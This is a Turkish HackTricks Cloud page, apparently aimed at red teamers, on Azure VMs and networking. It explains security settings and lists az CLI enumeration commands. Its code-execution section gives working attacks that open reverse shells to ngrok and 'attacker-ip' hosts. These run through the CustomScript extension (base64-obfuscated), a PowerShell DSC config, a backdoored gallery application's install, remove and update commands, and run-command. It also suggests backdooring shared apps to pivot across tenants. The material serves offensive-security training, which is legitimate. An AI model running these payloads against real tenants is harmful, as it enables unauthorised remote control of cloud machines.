Az - Sanal Makineler & Ağ
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Azure Ağ Temel Bilgileri
Azure ağları farklı varlıklar ve bunları yapılandırma yolları içerir. Farklı Azure ağ varlıklarının kısa açıklamaları, örnekleri ve numaralandırma komutlarını şurada bulabilirsiniz:
VM’ler Temel Bilgileri
Azure Sanal Makineleri (VM’ler), Windows veya Linux işletim sistemlerini çalıştırmanıza olanak tanıyan esnek, talep üzerine bulut tabanlı sunuculardır. Fiziksel donanım yönetimi olmadan uygulamaları ve iş yüklerini dağıtmanıza olanak tanır. Azure VM’leri, belirli ihtiyaçları karşılamak ve sanal ağlar, depolama ve güvenlik araçları gibi Azure hizmetleriyle entegre olmak için çeşitli CPU, bellek ve depolama seçenekleriyle yapılandırılabilir.
Güvenlik Yapılandırmaları
- Kullanılabilirlik Alanları: Kullanılabilirlik alanları, belirli bir Azure bölgesindeki fiziksel olarak ayrılmış veri merkezi gruplarıdır ve yerel kesintiler veya felaketlerden etkilenen birden fazla alan riskini en aza indirmek için tasarlanmıştır.
- Güvenlik Türü:
- Standart Güvenlik: Bu, herhangi bir özel yapılandırma gerektirmeyen varsayılan güvenlik türüdür.
- Güvenilir Başlatma: Bu güvenlik türü, Secure Boot ve Sanal Güvenilir Platform Modülü (vTPM) kullanarak önyükleme kitleri ve çekirdek düzeyindeki kötü amaçlı yazılımlara karşı korumayı artırır.
- Gizli VM’ler: Güvenilir başlatmanın üzerine, VM, hipervizör ve ana yönetim arasında donanım tabanlı izolasyon sunar, disk şifrelemesini geliştirir ve daha fazlası.
- Kimlik Doğrulama: Varsayılan olarak yeni bir SSH anahtarı oluşturulur, ancak bir genel anahtar kullanmak veya önceki bir anahtarı kullanmak mümkündür ve varsayılan kullanıcı adı azureuser’dır. Ayrıca bir şifre kullanacak şekilde yapılandırmak da mümkündür.
- VM disk şifrelemesi: Disk, varsayılan olarak platform yönetimli bir anahtar kullanılarak dinlenme durumunda şifrelenir.
- Ana bilgisayarda Şifreleme’yi etkinleştirmek de mümkündür; burada veriler, depolama hizmetine gönderilmeden önce ana bilgisayarda şifrelenir ve ana bilgisayar ile depolama hizmeti arasında uçtan uca şifreleme sağlanır (docs).
- NIC ağ güvenlik grubu:
- Hiçbiri: Temelde her portu açar
- Temel: HTTP (80), HTTPS (443), SSH (22), RDP (3389) gelen portlarını kolayca açar
- Gelişmiş: Bir güvenlik grubu seçin
- Yedekleme: Standart yedeklemeyi (günde bir) ve Gelişmiş (günde birden fazla) etkinleştirmek mümkündür.
- Yamanın orkestrasyon seçenekleri: Bu, seçilen politikaya göre VM’lerde yamaların otomatik olarak uygulanmasını sağlar, docs olarak açıklanmıştır.
- Uyarılar: VM’de bir şey olduğunda otomatik olarak e-posta veya mobil uygulama ile uyarı almak mümkündür. Varsayılan kurallar:
- CPU Yüzdesi %80’den büyük
- Kullanılabilir Bellek Baytları 1GB’den az
- Veri Diskleri IOPS Tüketilen Yüzde %95’ten büyük
- OS IOPS Tüketilen Yüzde %95’ten büyük
- Toplam Ağ 500GB’den büyük
- Toplam Ağ Çıkışı 200GB’den büyük
- VmAvailabilityMetric 1’den az
- Sağlık monitörü: Varsayılan olarak port 80’de HTTP protokolünü kontrol eder
- Kilitlemeler: Bir VM’yi yalnızca okunabilir (ReadOnly kilidi) veya okunabilir ve güncellenebilir ancak silinemez (CanNotDelete kilidi) hale getirmek için kilitleme sağlar.
- Çoğu VM ile ilgili kaynak aynı zamanda kilitleri destekler; diskler, anlık görüntüler…
- Kilitler kaynak grubu ve abonelik seviyelerinde de uygulanabilir.
Diskler & anlık görüntüler
- 2 veya daha fazla VM’ye bir disk eklemeyi etkinleştirmek mümkündür.
- Varsayılan olarak her disk şifrelenmiştir ve bir platform anahtarı kullanır.
- Anlık görüntülerde de aynı durum geçerlidir.
- Varsayılan olarak, diskin tüm ağlardan paylaşılması mümkündür, ancak yalnızca belirli özel erişim ile tamamen devre dışı bırakılacak şekilde de kısıtlanabilir.
- Anlık görüntülerde de aynı durum geçerlidir.
- Diski dışa aktarmak için bir SAS URI (maksimum 60 gün) oluşturmak mümkündür, bu da kimlik doğrulama gerektirip gerektirmeyecek şekilde yapılandırılabilir.
- Anlık görüntülerde de aynı durum geçerlidir.
# List all disks
az disk list --output table
# Get info about a disk
az disk show --name <disk-name> --resource-group <rsc-group>
Görseller, Galeri Görselleri ve Geri Yükleme Noktaları
Bir VM görüntüsü, yeni bir sanal makine (VM) oluşturmak için gereken işletim sistemi, uygulama ayarları ve dosya sistemi içeren bir şablondur. Bir görüntü ile bir disk anlık görüntüsü arasındaki fark, bir disk anlık görüntüsünün yalnızca okunabilir, belirli bir zamandaki tek bir yönetilen diskin kopyası olmasıdır; bu, esasen yedekleme veya sorun giderme için kullanılırken, bir görüntü birden fazla diski içerebilir ve yeni VMs oluşturmak için bir şablon olarak hizmet vermek üzere tasarlanmıştır.
Görüntüler, Azure’un Görüntüler bölümünde veya Azure hesap galerileri içinde yönetilebilir; bu, sürümler oluşturmayı ve görüntüyü tenantlar arası paylaşmayı veya hatta herkese açık hale getirmeyi sağlar.
Bir geri yükleme noktası, VM yapılandırmasını ve belirli bir zamandaki uygulama tutarlı anlık görüntüleri ile birlikte VM’ye bağlı olan tüm yönetilen disklerin anlık görüntülerini saklar. Bu, VM ile ilişkilidir ve amacı, o VM’yi o belirli zamandaki durumuna geri yükleyebilmektir.
# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all community galleries
az sig list-community --output table
## List galleries shaerd with me
az sig list-shared --location <location> --output table
## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>
## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table
## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
# Images
# List all managed images in your subscription
az image list --output table
# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>
Azure Site Recovery
Belgeler üzerinden: Site Recovery, iş sürekliliğini sağlamak için iş uygulamalarını ve iş yüklerini kesintiler sırasında çalışır durumda tutmaya yardımcı olur. Site Recovery, fiziksel ve sanal makinelerde (VM’ler) çalışan iş yüklerini birincil bir yerden ikincil bir yere çoğaltır. Bir kesinti meydana geldiğinde, ikincil bir yere geçiş yapar ve uygulamalara oradan erişirsiniz. Birincil yer tekrar çalışmaya başladığında, geri geçiş yapabilirsiniz.
Azure Bastion
Azure Bastion, sanal makinelerinize (VM’ler) doğrudan Azure Portal üzerinden veya bir jump box aracılığıyla güvenli ve kesintisiz Uzak Masaüstü Protokolü (RDP) ve Güvenli Kabuk (SSH) erişimi sağlar. VM’lerinizdeki genel IP adreslerine olan ihtiyacı ortadan kaldırarak.
Bastion, çalışması gereken VNet içinde /26 alt ağ maskesine sahip AzureBastionSubnet adında bir alt ağ dağıtır. Ardından, VM’lerin portlarını İnternete açmadan RDP ve SSH kullanarak tarayıcı üzerinden iç VM’lere bağlanmanıza olanak tanır. Ayrıca bir jump host olarak da çalışabilir.
Aboneliğinizdeki tüm Azure Bastion Host’larını listelemek ve bunlar aracılığıyla VM’lere bağlanmak için aşağıdaki komutları kullanabilirsiniz:
# List bastions
az network bastion list -o table
# Connect via SSH through bastion
az network bastion ssh \
--name MyBastion \
--resource-group MyResourceGroup \
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
--auth-type ssh-key \
--username azureuser \
--ssh-key ~/.ssh/id_rsa
# Connect via RDP through bastion
az network bastion rdp \
--name <BASTION_NAME> \
--resource-group <RESOURCE_GROUP> \
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
--auth-type password \
--username <VM_USERNAME> \
--password <VM_PASSWORD>
Metadata
Azure Instance Metadata Service (IMDS) çalışan sanal makine örnekleri hakkında bilgi sağlar ve bunların yönetimi ve yapılandırılması için yardımcı olur. SKU, depolama, ağ yapılandırmaları ve yaklaşan bakım etkinlikleri hakkında bilgiler gibi detaylar sunar. Bu bilgilere 169.254.169.254 adresindeki yönlendirilemeyen IP adresi üzerinden erişilebilen REST API aracılığıyla ulaşılır; bu adres yalnızca VM içinden erişilebilir. VM ile IMDS arasındaki iletişim, güvenli erişimi sağlamak için ana bilgisayar içinde kalır. IMDS’yi sorgularken, VM içindeki HTTP istemcileri doğru iletişimi sağlamak için web proxy’lerini atlamalıdır.
Ayrıca, metadata uç noktasına ulaşmak için HTTP isteğinin Metadata: true başlığına sahip olması ve X-Forwarded-For başlığını içermemesi gerekir.
Bunu nasıl listeleyeceğinizi kontrol edin:
VM Enumeration
# VMs
## List all VMs and get info about one
az vm list --output table
az vm show --name <came> --resource-group <rsc-group>
## List all available VM images and get info about one
az vm image list --all --output table
# VM Extensions
## List all VM extensions
az vm extension image list --output table
## Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table
## List extensions in a VM
az vm extension list -g <rsc-group> --vm-name <vm-name>
## List managed identities in a VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>
# Disks
## List all disks and get info about one
az disk list --output table
az disk show --name <disk-name> --resource-group <rsc-group>
# Snapshots
## List all galleries abd get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all snapshots and get info about one
az snapshot list --output table
az snapshot show --name <name> --resource-group <rsc-group>
# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all community galleries
az sig list-community --output table
## List galleries shared with me
az sig list-shared --location <location> --output table
## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>
## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table
## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
# Images
# List all managed images in your subscription
az image list --output table
# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>
# Bastion
## list all bastions
az network bastion list -o table
# Network
## List VNets
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"
## List subnets of a VNet
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table
## List public IPs
az network public-ip list --output table
## Get NSG rules
az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupName> --query "[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}" -o table
## Get NICs and subnets using this NSG
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"
## List all Nics & get info of a single one
az network nic list --output table
az network nic show --name <name> --resource-group <rsc-group>
## List Azure Firewalls
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table
## Get network rules of a firewall
az network firewall network-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## Get application rules of a firewall
az network firewall application-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## Get nat rules of a firewall
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## List Route Tables
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table
## List routes for a table
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table
# Misc
## List all virtual machine scale sets
az vmss list --output table
## List all availability sets
az vm availability-set list --output table
## List all load balancers
az network lb list --output table
## List all storage accounts
az storage account list --output table
## List all custom script extensions on a specific VM
az vm extension list --vm-name <vm-name> --resource-group <resource-group>
# Show boot diagnostics settings for a specific VM
az vm boot-diagnostics get-boot-log --name <vm-name> --resource-group <resource-group>
## List all tags on virtual machines
az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[].{Name:name, Tags:tags}" --output table
# List all available run commands for virtual machines
az vm run-command list --output table
VMs’de Kod Çalıştırma
VM Uzantıları
Azure VM uzantıları, Azure sanal makinelerinde (VM’ler) dağıtım sonrası yapılandırma ve otomasyon görevleri sağlayan küçük uygulamalardır.
Bu, VM’ler içinde rastgele kod çalıştırmayı mümkün kılar.
Gerekli izin Microsoft.Compute/virtualMachines/extensions/write’dir.
Tüm mevcut uzantıları listelemek mümkündür:
# It takes some mins to run
az vm extension image list --output table
# Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table
Özel kod çalıştıran özel uzantılar çalıştırmak mümkündür:
- Ters bir shell çalıştırın
# Prepare the rev shell
echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==
# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
- İnternette bulunan bir betiği çalıştırın
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
İlgili VM uzantıları
Gerekli izin hala Microsoft.Compute/virtualMachines/extensions/write.
VMAccess uzantısı
Bu uzantı, Windows VM’ler içindeki kullanıcıların şifresini değiştirmeye (veya yoksa oluşturmasına) olanak tanır.
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
DesiredStateConfiguration (DSC)
Bu, Azure Windows VM’lerinin yapılandırmasını yönetmek için PowerShell DSC kullanan Microsoft’a ait bir VM uzantısıdır. Bu nedenle, bu uzantı aracılığıyla Windows VM’lerinde rastgele komutlar çalıştırmak için kullanılabilir:
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output
# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force
# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
Hibrit Runbook Çalışanı
Bu, bir otomasyon hesabından VMs’de runbook’ları çalıştırmaya olanak tanıyan bir VM uzantısıdır. Daha fazla bilgi için Otomasyon Hesapları hizmetine bakın.
VM Uygulamaları
Bunlar, VMs’de uygulamaları kolayca eklemek ve kaldırmak için kullanılabilecek uygulama verileri ve yükleme ile kaldırma betikleri içeren paketlerdir.
# List all galleries in resource group
az sig list --resource-group <res-group> --output table
# List all apps in a fallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
Bu, uygulamaların dosya sisteminde indirildiği yollar:
- Linux:
/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version> - Windows:
C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>
Yeni uygulamaları nasıl kuracağınızı kontrol edin https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli
Caution
Bireysel uygulamaları ve galerileri diğer abonelikler veya kiracılar ile paylaşmak mümkündür. Bu, bir saldırganın bir uygulamaya arka kapı koymasına ve diğer aboneliklere ve kiracılara geçiş yapmasına olanak tanıyabileceği için oldukça ilginçtir.
Ancak vm uygulamaları için uzantılarda olduğu gibi bir “pazar yeri” yoktur.
Gerekli izinler:
Microsoft.Compute/galleries/applications/writeMicrosoft.Compute/galleries/applications/versions/writeMicrosoft.Compute/virtualMachines/writeMicrosoft.Network/networkInterfaces/join/actionMicrosoft.Compute/disks/write
Rastgele komutları çalıştırmak için istismar örneği:
# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"
# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"
# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"
# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true
Kullanıcı verileri
Bu, herhangi bir zamanda meta veri uç noktasından alınabilen kalıcı verilerdir. Azure’da kullanıcı verilerinin AWS ve GCP’den farklı olduğunu unutmayın çünkü buraya bir script koyarsanız, varsayılan olarak çalıştırılmaz.
Özel veriler
VM’ye beklenen yollarda saklanacak bazı veriler geçmek mümkündür:
- Windows’ta özel veriler
%SYSTEMDRIVE%\AzureData\CustomData.binkonumunda ikili dosya olarak yer alır ve işlenmez. - Linux’ta
/var/lib/waagent/ovf-env.xmlkonumunda saklanıyordu ve şimdi/var/lib/waagent/CustomData/ovf-env.xmlkonumunda saklanıyor. - Linux ajanı: Varsayılan olarak özel verileri işlemez, verilerin etkin olduğu özel bir imaj gereklidir.
- cloud-init: Varsayılan olarak özel verileri işler ve bu veriler birçok formatta olabilir. Sadece özel veride script göndererek kolayca bir script çalıştırabilir.
- Hem Ubuntu hem de Debian’ın buraya koyduğunuz scripti çalıştırdığını denedim.
- Bunun çalıştırılması için kullanıcı verilerini etkinleştirmek de gerekmez.
#!/bin/sh
echo "Hello World" > /var/tmp/output.txt
Komut Çalıştır
Bu, Azure’un VM’lerde rastgele komutlar çalıştırmak için sağladığı en temel mekanizmadır. Gerekli izin Microsoft.Compute/virtualMachines/runCommand/action’dır.
# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh
# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
Yetki Yükseltme
Az - Virtual Machines & Network Privesc
Kimlik Doğrulaması Olmadan Erişim
Sömürü Sonrası
Az - VMs & Network Post Exploitation
Süreklilik
Referanslar
- https://learn.microsoft.com/en-us/azure/virtual-machines/overview
- https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/
- https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

